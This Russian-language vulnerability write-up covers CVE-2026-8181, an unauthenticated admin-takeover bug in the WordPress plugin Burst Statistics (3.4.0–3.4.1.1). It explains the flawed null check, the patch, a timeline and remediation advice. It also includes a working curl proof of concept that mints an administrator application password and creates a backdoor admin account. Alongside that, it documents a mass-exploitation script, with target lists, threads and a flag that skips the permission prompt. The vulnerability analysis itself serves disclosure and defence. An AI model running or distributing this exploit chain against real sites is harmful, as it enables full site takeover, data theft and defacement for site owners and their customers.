
Плагин для WordPress Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) уязвим к обходу аутентификации.
Краткое описание уязвимости
Плагин WordPress Burst Statistics версий с 3.4.0 по 3.4.1.1 уязвим к неаутентифицированному обходу аутентификации, что приводит к полному захвату учетной записи администратора. Эта критическая ошибка позволяет неаутентифицированному злоумышленнику, знающему любое имя пользователя администратора, сгенерировать действующий пароль приложения WordPress для этой учетной записи за один HTTP-запрос, получая постоянный доступ уровня администратора ко всему сайту.
Уязвимость возникает из-за функции is_mainwp_authenticated() в файле class-mainwp-proxy.php. Эта функция вызывает wp_authenticate_application_password() и проверяет только то, является ли результат WP_Error. Она не проверяет, является ли результат на самом деле успешным объектом WP_User. Когда внутренний фильтр WordPress application_password_is_api_request возвращает false — что происходит при вызове вне обычного потока аутентификации REST API — функция WordPress возвращает null вместо WP_Error или WP_User. Поскольку null не является WP_Error, проверка проходит, и выбранный злоумышленником пользователь-администратор устанавливается как текущий пользователь через wp_set_current_user().
Как только текущий пользователь становится администратором, последующие проверки прав доступа проходят. Затем злоумышленник может обратиться к REST-эндпоинту /burst/v1/mainwp-auth, который создает пароль приложения WordPress для учетной записи администратора и возвращает его в ответе. Это дает злоумышленнику постоянный полный доступ уровня администратора.
Затронутый плагин
Что могут сделать злоумышленники
Технический анализ
Burst Statistics инициализируется во время хука plugins_loaded WordPress с приоритетом 9 внутри файла class-burst.php:
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
$this->admin = new Admin();
$this->admin->init();
...
}
has_admin_access() является шлюзом для всего функционала администратора. Она проверяет заголовок X-BurstMainWP и вызывает уязвимую функцию:
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
$mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();
if ( $mainwp_proxy->is_mainwp_authenticated() ) {
return burst_loader()->has_admin_access = true;
}
...
}
is_mainwp_authenticated()// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );
if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
$credentials = base64_decode( substr( $auth_header, 6 ), true );
if ( ! $credentials ) {
return false;
}
$parts = explode( ':', $credentials, 2 );
if ( count( $parts ) !== 2 ) {
return false;
}
$username = $parts[0];
$password = $parts[1];
// VULNERABLE: wp_authenticate_application_password() returns null
// outside the REST API authentication flow
$is_valid = wp_authenticate_application_password( null, $username, $password );
// BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
if ( is_wp_error( $is_valid ) ) {
return false;
}
$user = get_user_by( 'login', $username );
if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
return false;
}
wp_set_current_user( $user->ID );
return true;
}
return false;
}
wp_authenticate_application_password() возвращает nullВнутренняя функция WordPress wp_authenticate_application_password() имеет фильтр:
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
return null; // Not an API request, skip app password auth
}
При вызове вне потока аутентификации REST API она возвращает null. Код Burst Statistics проверял только is_wp_error($is_valid) — null не является WP_Error, поэтому проверка некорректно проходит.
X-BurstMainWP: 1 с любым запросомhas_admin_access() запускает is_mainwp_authenticated()wp_authenticate_application_password() возвращает null (не в контексте API)is_wp_error(null) = false → проверка проходитwp_set_current_user($admin_id)/burst/v1/mainwp-authhandle_auth_request() создает пароль приложения WordPressbase64(username:app_password)// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
if ( ! $authenticated_user instanceof \WP_User ) {
return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
return false;
}
Примененные исправления:
application_password_is_api_request в true, чтобы происходила фактическая проверка пароляWP_User (а не null)hash_equals() для проверки совпадения имени пользователяКроме того, функция check_auth_permission() для REST-эндпоинта была усилена, чтобы требовать current_user_can('manage_burst_statistics') и явную проверку nonce для запросов, аутентифицированных через cookie.
Доказательство концепции
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
-H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
-H 'X-BurstMainWP: 1' \
-H 'Content-Type: application/json' \
-d '{}'
# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}
# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev
# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
-u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
-d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'
Скрипт exploit_burst_statistics.py автоматизирует всю цепочку атаки:
readme.txt, заголовок плагина или строки запроса ресурсовX-BurstMainWP: 1 + поддельной Basic Auth для создания токенаВозможности эксплойта
/wp-json/), так и некрасивые (/?rest_route=)ThreadPoolExecutorИспользование
python3 exploit_burst_statistics.py -t http://target.com --no-confirm
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm
Создайте targets.txt:
target1.com
target2.com:8080
192.168.1.50
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm
Рекомендации по исправлению
Для разработчиков и владельцев сайтов:
X-BurstMainWP: 1Хронология
| Дата | Событие |
|---|---|
| 2026-05-08 | CVE зарезервирован |
| 2026-05-11 | Уведомлен разработчик |
| 2026-05-13 |
Исследователь
Ссылки
Отказ от ответственности
Эта информация предоставляется только для образовательных и авторизованных тестов на проникновение. Несанкционированная эксплуатация компьютерных систем незаконна и неэтична. Всегда получайте явное письменное разрешение перед тестированием любой цели, которая вам не принадлежит.
| Поле | Значение |
|---|
| Название плагина | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Идентификатор плагина | burst-statistics |
| Затронутые версии | 3.4.0 – 3.4.1.1 |
| Исправленная версия | 3.4.2 |
| Идентификатор CVE | CVE-2026-8181 |
| Оценка CVSS | 9.8 (Critical) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Тип уязвимости | Обход аутентификации (Некорректная аутентификация) |
| CWE | CWE-287 — Improper Authentication |
| Воздействие | Полный захват сайта — Захват учетной записи администратора |
| Возможность | Воздействие |
|---|
| Создание пароля приложения для любого администратора | Постоянный доступ администратора |
| Создание новых учетных записей администратора через REST API | Размножение учетных записей |
| Установка плагинов/тем | Удаленное выполнение кода |
| Редактирование записей, страниц и настроек | Дефейс сайта |
| Экспорт или удаление всех данных сайта | Уничтожение/Эксфильтрация данных |
| Доступ к данным WooCommerce/клиентов | Утечка данных |
| Флаг | Описание |
|---|
-t, --target | URL одной цели |
-l, --list | Файл со списком целей (по одной в строке) |
-T, --threads | Потоки для массового сканирования (по умолчанию: 10) |
-o, --output | Выходной файл для результатов (по умолчанию: result_burst_statistics.txt) |
-u, --username | Известное имя пользователя администратора (пропустить перебор) |
-v, --verbose | Подробный вывод отладки |
--timeout | Тайм-аут запроса в секундах (по умолчанию: 20) |
--no-confirm | Пропустить запрос подтверждения разрешения |
| Публично раскрыто |
| 2026-05-13 | Выпущено исправление (v3.4.2) |
| 2026-05-15 | Сообщено об активной эксплуатации в реальных условиях |